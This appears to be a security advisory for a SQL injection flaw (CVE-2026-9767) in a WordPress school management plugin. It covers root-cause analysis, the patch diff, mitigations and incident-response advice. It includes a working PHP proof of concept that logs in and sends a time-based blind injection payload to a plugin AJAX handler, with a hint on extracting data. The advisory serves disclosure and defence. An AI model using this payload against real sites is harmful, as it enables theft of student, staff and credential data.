What is CVE-2026-9767?

CVE-2026-9767 is a SQL injection vulnerability in The School Management plugin for WordPress, affecting versions up to and including 5.4. It allows authenticated users with custom-level access or higher to inject arbitrary SQL via the ‘order[0][dir]’ parameter in multiple AJAX handlers, potentially exposing sensitive database information.

How does the SQL injection occur?

The vulnerability arises because the plugin fails to properly sanitize and prepare the ‘order[0][dir]’ parameter before concatenating it into SQL queries. The value is only passed through sanitize_text_field() and esc_sql(), which do not prevent SQL injection when used in an ORDER BY clause. An attacker can append malicious SQL statements to the query.

Who can exploit this vulnerability?

An attacker must be authenticated as a user with at least ‘custom’ role access. In WordPress, custom roles are typically created by administrators and may have limited capabilities, but they still have access to AJAX actions that trigger the vulnerable handlers. This makes the attack possible for users with lower privileges than administrators.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 6.5, which is considered Medium severity. This reflects the fact that exploitation requires authentication, but the potential impact includes unauthorized access to sensitive data, such as user credentials and personal information, which could lead to further compromise.

How can I check if my site is vulnerable?

Check the version of The School Management plugin installed. If it is 5.4 or earlier, it is vulnerable. You can also review the plugin’s code for the vulnerable pattern, such as direct concatenation of $_POST[‘order’][‘0’][‘dir’] into SQL queries. Updating to version 5.5 or later will patch the issue.

What is the fix for this vulnerability?

The patch, released in version 5.5, replaces the vulnerable code with a strict allowlist that forces the ‘order[0][dir]’ parameter to be either ‘ASC’ or ‘DESC’. It also adds nonce verification to several AJAX handlers to prevent CSRF attacks. Updating to the latest version is the recommended fix.

Are there any temporary mitigations if I cannot update immediately?

As a temporary measure, you can disable the affected AJAX handlers by adding code to your theme’s functions.php file to block access to them. However, this may break functionality. The most effective mitigation is to update the plugin as soon as possible.

What is the practical impact of a Medium severity SQL injection?

Even though the severity is Medium, successful exploitation can lead to the extraction of sensitive data, including user hashes, emails, and personal information of students and staff. In some cases, it could also allow data modification or deletion if the database user has sufficient privileges, potentially causing significant damage.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC provided by Atomic Edge shows how an authenticated attacker can send a crafted AJAX request with a malicious ‘order[0][dir]’ value to perform time-based blind SQL injection. It uses a SLEEP() function to infer information from the database, such as the database version, by measuring response times.

What should I do if I suspect my site has been exploited?

If you suspect exploitation, immediately update the plugin to version 5.5 or later, change all user passwords, and review database logs for suspicious queries. Consider using a security plugin to scan for malware and unauthorized changes. Also, audit user roles to ensure no unauthorized accounts have been created.

Is there a risk of CSRF chaining with this vulnerability?

Yes, several affected AJAX handlers lack nonce verification, which means an attacker could potentially chain a CSRF attack. By tricking an authenticated user into visiting a malicious page, the attacker could trigger the SQL injection without direct authentication, increasing the attack surface.

Published : August 15, 2026

CVE-2026-9767: The School Management <= 5.4 Authenticated (Custom+) SQL Injection via 'order[0][dir]' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-9767

Plugin school-management-system

Severity Medium (CVSS 6.5)

CWE 89

Vulnerable Version 5.4

Patched Version 5.5

Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9767:
The School Management – Education & Learning ERP plugin for WordPress, versions up to and including 5.4, is vulnerable to generic SQL injection through the ‘order[0][dir]’ parameter. Authenticated attackers with custom-level access or higher can append additional SQL queries to existing database queries. This allows extraction of sensitive information from the WordPress database. The vulnerability spans multiple AJAX handlers, including wlsm-fetch-staff-classes, wlsm-fetch-notices, wlsm-fetch-subjects, wlsm-fetch-inquiries, wlsm-fetch-staff-employee, and wlsm-fetch-payments.

The root cause is an unvalidated SQL ORDER BY direction parameter. In each affected handler, the code retrieves the ‘order[0][dir]’ POST parameter, sanitizes it only with sanitize_text_field() and esc_sql(), then concatenates it directly into an SQL query using $wpdb->prepare(). The prepare() function does not guard the direction parameter because the ‘%s’ placeholder is used, and the attacker-controlled value is passed outside the format string. The vulnerable pattern appears in files such as admin/inc/manager/WLSM_Class.php, admin/inc/manager/WLSM_School.php, admin/inc/manager/WLSM_Session.php, admin/inc/school/staff/accountant/WLSM_Staff_Accountant.php, admin/inc/school/staff/class/WLSM_Staff_Class.php, and admin/inc/school/staff/general/WLSM_Staff_General.php. The patch replaces the direct concatenation with a strict allowlist that forces the direction to either ‘ASC’ or ‘DESC’. It also adds nonce verification to several AJAX handlers that previously lacked it, mitigating CSRF chaining.

An attacker crafts a POST request to /wp-admin/admin-ajax.php with the action parameter set to a vulnerable handler, e.g., ‘wlsm-fetch-staff-classes’. The request includes the ‘order[0][column]’ parameter set to a valid column index and ‘order[0][dir]’ set to a SQL injection payload, such as ‘ASC; SELECT SLEEP(5)– -‘. Because the value is directly concatenated into the query, the attacker can append arbitrary SQL. This can be used for time-based blind extraction of data, such as hashed passwords, user emails, or other sensitive database contents.

The patch modifies each vulnerable occurrence by replacing the direct assignment of $order_dir with a ternary expression that checks if the uppercased, sanitized value equals ‘ASC’ and otherwise falls back to ‘DESC’. This effectively restricts the value to only two possible strings, eliminating the injection vector. Additionally, the patch adds wp_verify_nonce() checks to several AJAX methods, preventing CSRF-based exploitation where a logged-in user could be tricked into sending a forged request. The version is bumped to 5.5.

Successful exploitation exposes all data accessible through the affected SQL queries, including user credentials, personal information of students, staff, and parents, financial records, and other sensitive school management data. Since the attacker has authenticated access at a custom role level, data exfiltration could be systematic and silent. The SQL injection also enables potential damage through data modification or deletion if the database user has sufficient privileges. The plugin’s default configuration often grants broad table privileges to the WordPress database user, amplifying the impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/school-management-system/admin/inc/manager/WLSM_Class.php
+++ b/school-management-system/admin/inc/manager/WLSM_Class.php
@@ -12,6 +12,10 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
+
 		global $wpdb;

 		$page_url = WLSM_M_Class::get_page_url();
@@ -40,7 +44,7 @@
 		// $columns = array('c.label');
 		// if (esc_sql($_POST['order']) && esc_sql($columns[$_POST['order']['0']['column']])) {
 		// 	$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-		// 	$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+		// 	$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 		// 	$query_filter .= $wpdb->prepare(' ORDER BY %s %s', $order_by, $order_dir);
 		// } else {
@@ -52,7 +56,7 @@

 		if (isset($_POST['order']) && isset($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= $wpdb->prepare(' ORDER BY %s %s', $order_by, $order_dir);
 		} else {
--- a/school-management-system/admin/inc/manager/WLSM_School.php
+++ b/school-management-system/admin/inc/manager/WLSM_School.php
@@ -158,7 +158,7 @@
 		$columns = array( 'c.label' );
 		if ( esc_sql( isset( $_POST['order'] ) ) && esc_sql( $columns[ $_POST['order']['0']['column'] ] ) ) {
 			$order_by  = sanitize_text_field( esc_sql($columns[ $_POST['order']['0']['column'] ]) );
-			$order_dir = sanitize_text_field( esc_sql($_POST['order']['0']['dir']) );
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= $wpdb->prepare( ' ORDER BY %s %s', $order_by, $order_dir );
 		} else {
@@ -444,7 +444,7 @@
 		$columns = array( 'a.name', 'u.user_login', 'u.user_email', 'a.assigned_by_manager' );
 		if ( esc_sql( $_POST['order'] ) && esc_sql( $columns[ $_POST['order']['0']['column'] ] ) ) {
 			$order_by  = sanitize_text_field( esc_sql($columns[ $_POST['order']['0']['column'] ]) );
-			$order_dir = sanitize_text_field( esc_sql($_POST['order']['0']['dir']) );
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= $wpdb->prepare( ' ORDER BY %s %s', $order_by, $order_dir );
 		} else {
--- a/school-management-system/admin/inc/manager/WLSM_Session.php
+++ b/school-management-system/admin/inc/manager/WLSM_Session.php
@@ -10,6 +10,10 @@
 		if ( ! current_user_can( WLSM_ADMIN_CAPABILITY ) ) {
 			die();
 		}
+
+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}

 		global $wpdb;

@@ -79,7 +83,7 @@
 		$columns = array( 'ss.label', 'ss.start_date', 'ss.end_date' );
 		if ( esc_sql( isset( $_POST['order'] ) ) && esc_sql( $columns[ $_POST['order']['0']['column'] ] ) ) {
 			$order_by  = sanitize_text_field( esc_sql( $columns[ $_POST['order']['0']['column'] ]) );
-			$order_dir = sanitize_text_field( esc_sql($_POST['order']['0']['dir']) );
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= $wpdb->prepare( ' ORDER BY %s %s', $order_by, $order_dir );
 		} else {
--- a/school-management-system/admin/inc/school/staff/accountant/WLSM_Staff_Accountant.php
+++ b/school-management-system/admin/inc/school/staff/accountant/WLSM_Staff_Accountant.php
@@ -215,7 +215,7 @@
 				$columns = array('sr.name', 'sr.admission_number', 'i.invoice_number', 'i.label', 'payable', 'paid', 'due', 'i.status', 'i.date_issued', 'i.due_date', 'sr.phone', 'c.label', 'se.label', 'sr.enrollment_number');
 				if (isset($_POST['order']) && esc_sql($columns[$_POST['order']['0']['column']])) {
 					$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-					$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 					$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 				} else {
@@ -863,7 +863,7 @@
 		$columns = array('p.receipt_number', 'p.amount', 'p.payment_method', 'p.transaction_id', 'p.created_at', 'p.note');
 		if (isset($_POST['order']) && esc_sql($_POST['order']) && isset($columns[$_POST['order']['0']['column']]) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			// Validate order direction
 			$order_dir = in_array(strtoupper($order_dir), array('ASC', 'DESC')) ? strtoupper($order_dir) : 'DESC';
@@ -1192,6 +1192,10 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
+
 		$current_school = $current_user['school'];

 		$can_delete_payments = WLSM_M_Role::check_permission(array('delete_payments'), $current_school['permissions']);
@@ -1289,7 +1293,7 @@
 		$columns = array('p.receipt_number', 'p.amount', 'p.payment_method', 'p.transaction_id', 'p.created_at', 'p.note', 'i.label', 'sr.name', 'sr.admission_number', 'c.label', 'se.label', 'sr.enrollment_number', 'sr.phone', 'sr.father_name', 'sr.father_phone');
 		if (isset($_POST['order']) && esc_sql($_POST['order']) && isset($columns[$_POST['order']['0']['column']]) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
--- a/school-management-system/admin/inc/school/staff/class/WLSM_Staff_Class.php
+++ b/school-management-system/admin/inc/school/staff/class/WLSM_Staff_Class.php
@@ -16,6 +16,10 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
+
 		$school_id = $current_user['school']['id'];
 		$session_id = $current_user['session']['ID'];

@@ -46,7 +50,7 @@
 		$columns = array('c.label', 'sections_count', 'students_count');
 		if (esc_sql(isset($_POST['order'])) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
@@ -157,7 +161,7 @@
 		$columns = array('se.label', 'students_count');
 		if (isset($_POST['order']) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
@@ -468,6 +472,10 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
+
 		$school_id = $current_user['school']['id'];

 		global $wpdb;
@@ -555,7 +563,7 @@
 		$columns = array('n.title', 'n.link_to', 'n.is_active', 'n.created_at', 'u.user_login');
 		if (esc_sql(isset($_POST['order'])) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
@@ -845,6 +853,10 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
+
 		$school_id = $current_user['school']['id'];

 		global $wpdb;
@@ -887,7 +899,7 @@
 		$columns = array('sj.label', 'sj.code', 'sj.type', 'c.label', 'admins_count');
 		if (esc_sql(isset($_POST['order'])) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
@@ -1232,7 +1244,7 @@
 		$columns = array('a.name', 'a.phone', 'u.user_login', 'a.is_active');
 		if (esc_sql($_POST['order']) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
--- a/school-management-system/admin/inc/school/staff/general/WLSM_Staff_General.php
+++ b/school-management-system/admin/inc/school/staff/general/WLSM_Staff_General.php
@@ -771,7 +771,7 @@
 				$columns = array('sr.name', 'sr.admission_number', 'sr.phone', 'sr.email', 'c.label', 'se.label', 'sr.roll_number', 'sr.father_name', 'sr.father_phone', 'u.user_email', 'u.user_login', 'sr.admission_date', 'sr.enrollment_number', 'sr.is_active');
 				if (esc_sql(isset($_POST['order'])) && esc_sql($columns[$_POST['order']['0']['column']])) {
 					$order_by  = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-					$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 					$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 				} else {
@@ -1245,6 +1245,9 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
 		$school_id  = $current_user['school']['id'];
 		$session_id = $current_user['session']['ID'];

@@ -1340,7 +1343,7 @@
 		$columns = array('a.name', 'a.phone', 'a.email', 'a.salary', 'a.designation', 'r.name', 'u.user_email', 'u.user_login', 'a.joining_date', 'a.is_active');
 		if (esc_sql(isset($_POST['order'])) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by  = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
@@ -1854,6 +1857,10 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
+
 		$school_id = $current_user['school']['id'];

 		global $wpdb;
@@ -1889,7 +1896,7 @@
 		$columns = array('r.name');
 		if (esc_sql(isset($_POST['order'])) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by  = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= $wpdb->prepare(' ORDER BY %s %s', $order_by, $order_dir);
 		} else {
@@ -2192,6 +2199,10 @@
 			die();
 		}

+		if ( ! wp_verify_nonce( isset( $_POST['nonce'] ) ? $_POST['nonce'] : '', 'wlsm-security' ) ) {
+			die();
+		}
+
 		$school_id = $current_user['school']['id'];

 		global $wpdb;
@@ -2328,7 +2339,7 @@
 		$columns = array('c.label', 'iq.name', 'iq.phone', 'iq.email', 'iq.message', 'iq.created_at', 'iq.next_follow_up', 'iq.is_active');
 		if (esc_sql(isset($_POST['order'])) && esc_sql($columns[$_POST['order']['0']['column']])) {
 			$order_by  = sanitize_text_field(esc_sql($columns[$_POST['order']['0']['column']]));
-			$order_dir = sanitize_text_field(esc_sql($_POST['order']['0']['dir']));
+			$order_dir = ( strtoupper( sanitize_text_field( $_POST['order']['0']['dir'] ) ) === 'ASC' ) ? 'ASC' : 'DESC';

 			$query_filter .= ' ORDER BY ' . $order_by . ' ' . $order_dir;
 		} else {
--- a/school-management-system/school-management-system.php
+++ b/school-management-system/school-management-system.php
@@ -3,7 +3,7 @@
  * Plugin Name: The School Management - Education & Learning ERP
  * Plugin URI: https://wordpress.org/plugins/school-management-system/
  * Description: The School Management System is a WordPress plugin to manage school related entities such as classes, sections, students, ID cards, teachers, staff, fees, invoices, noticeboard and much more. Its completely solutions for school management.
- * Version: 5.4
+ * Version: 5.5
  * Requires at least: 6.2
  * Author: Weblizar
  * Author URI: https://weblizar.com

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9767 - The School Management <= 5.4 - Authenticated (Custom+) SQL Injection via 'order[0][dir]' Parameter

/**
 * Exploit for CVE-2026-9767 in The School Management plugin.
 * Requires an authenticated user with custom role or higher.
 * Demonstrates time-based blind SQL injection to extract database version.
 */

$target_url = 'http://localhost/wp-admin/admin-ajax.php'; // Change to target
$username = 'attacker'; // Change to valid username
$password = 'password'; // Change to password

// --- Login and get cookies ---
$login_url = 'http://localhost/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1',
    ]),
    CURLOPT_COOKIEJAR => '/tmp/cve-2026-9767-cookies.txt',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HEADER => false,
]);
$login_response = curl_exec($ch);
curl_close($ch);

if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
    die("[-] Login failed. Check credentials.n");
}
echo "[+] Logged in as $usernamen";

// --- Extract database version using time-based SQL injection ---
// Payload: order[0][dir] = 'ASC; SELECT SLEEP(2) -- -'
// We test if sleep occurs.
function send_payload($target_url, $injection, $cookies) {
    $post_data = [
        'action' => 'wlsm-fetch-staff-classes',
        'order' => [
            0 => [
                'column' => 0,
                'dir' => $injection,
            ],
        ],
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_COOKIEFILE => $cookies,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_CONNECTTIMEOUT => 5,
    ]);
    $start = microtime(true);
    $response = curl_exec($ch);
    $duration = microtime(true) - $start;
    curl_close($ch);
    return [$response, $duration];
}

// Test baseline
list($baseline_response, $baseline_time) = send_payload($target_url, 'ASC', '/tmp/cve-2026-9767-cookies.txt');
echo "[+] Baseline time: " . round($baseline_time, 2) . "sn";

// Test injection
$injection = 'ASC; SELECT SLEEP(2)-- -';
list($inj_response, $inj_time) = send_payload($target_url, $injection, '/tmp/cve-2026-9767-cookies.txt');
echo "[+] Injected time: " . round($inj_time, 2) . "sn";

if ($inj_time - $baseline_time >= 2) {
    echo "[+] Vulnerability confirmed! Time-based SQL injection works.n";
    // Extract version: SELECT SLEEP(2) can be replaced with conditional sleep to extract chars.
    // Example: SELECT IF(SUBSTRING(VERSION(),1,1)='5', SLEEP(2), 0)
    // For brevity, we just confirm timing.
} else {
    echo "[-] No time difference. Vulnerability may not be present or payload failed.n";
}
// Cleanup cookie file
@unlink('/tmp/cve-2026-9767-cookies.txt');
?>

Frequently Asked Questions

What is CVE-2026-9767?
Vulnerability overview
CVE-2026-9767 is a SQL injection vulnerability in The School Management plugin for WordPress, affecting versions up to and including 5.4. It allows authenticated users with custom-level access or higher to inject arbitrary SQL via the ‘order[0][dir]’ parameter in multiple AJAX handlers, potentially exposing sensitive database information.
How does the SQL injection occur?
Technical explanation
The vulnerability arises because the plugin fails to properly sanitize and prepare the ‘order[0][dir]’ parameter before concatenating it into SQL queries. The value is only passed through sanitize_text_field() and esc_sql(), which do not prevent SQL injection when used in an ORDER BY clause. An attacker can append malicious SQL statements to the query.
Which AJAX handlers are affected?
Affected endpoints
The vulnerability affects multiple AJAX handlers, including wlsm-fetch-staff-classes, wlsm-fetch-notices, wlsm-fetch-subjects, wlsm-fetch-inquiries, wlsm-fetch-staff-employee, and wlsm-fetch-payments. These handlers are used to fetch data for various management functions within the plugin.
Who can exploit this vulnerability?
Required access level
An attacker must be authenticated as a user with at least ‘custom’ role access. In WordPress, custom roles are typically created by administrators and may have limited capabilities, but they still have access to AJAX actions that trigger the vulnerable handlers. This makes the attack possible for users with lower privileges than administrators.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 6.5, which is considered Medium severity. This reflects the fact that exploitation requires authentication, but the potential impact includes unauthorized access to sensitive data, such as user credentials and personal information, which could lead to further compromise.
How can I check if my site is vulnerable?
Detection steps
Check the version of The School Management plugin installed. If it is 5.4 or earlier, it is vulnerable. You can also review the plugin’s code for the vulnerable pattern, such as direct concatenation of $_POST[‘order’][‘0’][‘dir’] into SQL queries. Updating to version 5.5 or later will patch the issue.
What is the fix for this vulnerability?
Patch details
The patch, released in version 5.5, replaces the vulnerable code with a strict allowlist that forces the ‘order[0][dir]’ parameter to be either ‘ASC’ or ‘DESC’. It also adds nonce verification to several AJAX handlers to prevent CSRF attacks. Updating to the latest version is the recommended fix.
Are there any temporary mitigations if I cannot update immediately?
Workarounds
As a temporary measure, you can disable the affected AJAX handlers by adding code to your theme’s functions.php file to block access to them. However, this may break functionality. The most effective mitigation is to update the plugin as soon as possible.
What is the practical impact of a Medium severity SQL injection?
Real-world consequences
Even though the severity is Medium, successful exploitation can lead to the extraction of sensitive data, including user hashes, emails, and personal information of students and staff. In some cases, it could also allow data modification or deletion if the database user has sufficient privileges, potentially causing significant damage.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC provided by Atomic Edge shows how an authenticated attacker can send a crafted AJAX request with a malicious ‘order[0][dir]’ value to perform time-based blind SQL injection. It uses a SLEEP() function to infer information from the database, such as the database version, by measuring response times.
What should I do if I suspect my site has been exploited?
Incident response
If you suspect exploitation, immediately update the plugin to version 5.5 or later, change all user passwords, and review database logs for suspicious queries. Consider using a security plugin to scan for malware and unauthorized changes. Also, audit user roles to ensure no unauthorized accounts have been created.
Is there a risk of CSRF chaining with this vulnerability?
CSRF implications
Yes, several affected AJAX handlers lack nonce verification, which means an attacker could potentially chain a CSRF attack. By tricking an authenticated user into visiting a malicious page, the attacker could trigger the SQL injection without direct authentication, increasing the attack surface.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started